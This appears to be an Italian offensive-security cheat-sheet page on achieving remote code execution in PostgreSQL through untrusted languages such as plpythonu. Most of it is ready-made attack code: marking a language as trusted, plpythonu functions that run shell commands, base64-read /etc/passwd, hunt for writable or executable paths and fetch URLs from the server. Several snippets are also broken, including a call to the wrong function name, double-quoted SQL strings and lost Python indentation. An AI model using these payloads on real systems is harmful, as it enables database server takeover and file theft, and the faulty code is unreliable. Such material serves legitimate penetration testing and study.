# RCE con i linguaggi PostgreSQL

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## Linguaggi PostgreSQL

Il database PostgreSQL a cui hai accesso potrebbe avere diversi **linguaggi di scripting installati** che potresti sfruttare per **eseguire codice arbitrario**.

Puoi **farli funzionare**:
```sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
La maggior parte dei linguaggi di scripting che puoi installare in PostgreSQL ha **2 varianti**: la **fidata** e l'**non fidata**. L'**non fidata** avrà un nome **che termina in "u"** e sarà la versione che ti permetterà di **eseguire codice** e utilizzare altre funzioni interessanti. Questi sono linguaggi che, se installati, sono interessanti:

- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (qualsiasi altro linguaggio di programmazione che utilizza una versione non sicura)

> [!WARNING]
> Se scopri che un linguaggio interessante è **installato** ma **non fidato** da PostgreSQL (**`lanpltrusted`** è **`false`**) puoi provare a **fidarlo** con la seguente riga in modo che non vengano applicate restrizioni da PostgreSQL:
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # Per controllare i tuoi permessi sulla tabella pg_language
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```

> [!CAUTION]
> Se non vedi un linguaggio, puoi provare a caricarlo con (**devi essere superadmin**):
>
> ```
> CREATE EXTENSION plpythonu;
> CREATE EXTENSION plpython3u;
> CREATE EXTENSION plperlu;
> CREATE EXTENSION pljavaU;
> CREATE EXTENSION plrubyu;
> ```

Nota che è possibile compilare le versioni sicure come "non sicure". Controlla [**questo**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) per esempio. Quindi vale sempre la pena provare se puoi eseguire codice anche se trovi installata solo la **fidata**.

## plpythonu/plpython3u

{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}

{{#tab name="Ottieni utente OS"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}

{{#tab name="Elenco dir"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
```
{{#endtab}}

{{#tab name="Trova la cartella W"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}

{{#tab name="Trova File"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
```
{{#endtab}}

{{#tab name="Trova eseguibili"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}

{{#tab name="Trova exec tramite subs"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}

{{#tab name="Leggi"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}

{{#tab name="Ottieni permessi"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}

{{#tab name="Richiesta"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}

## pgSQL

Controlla la seguente pagina:

{{#ref}}
pl-pgsql-password-bruteforce.md
{{#endref}}

## C

Controlla la seguente pagina:

{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}

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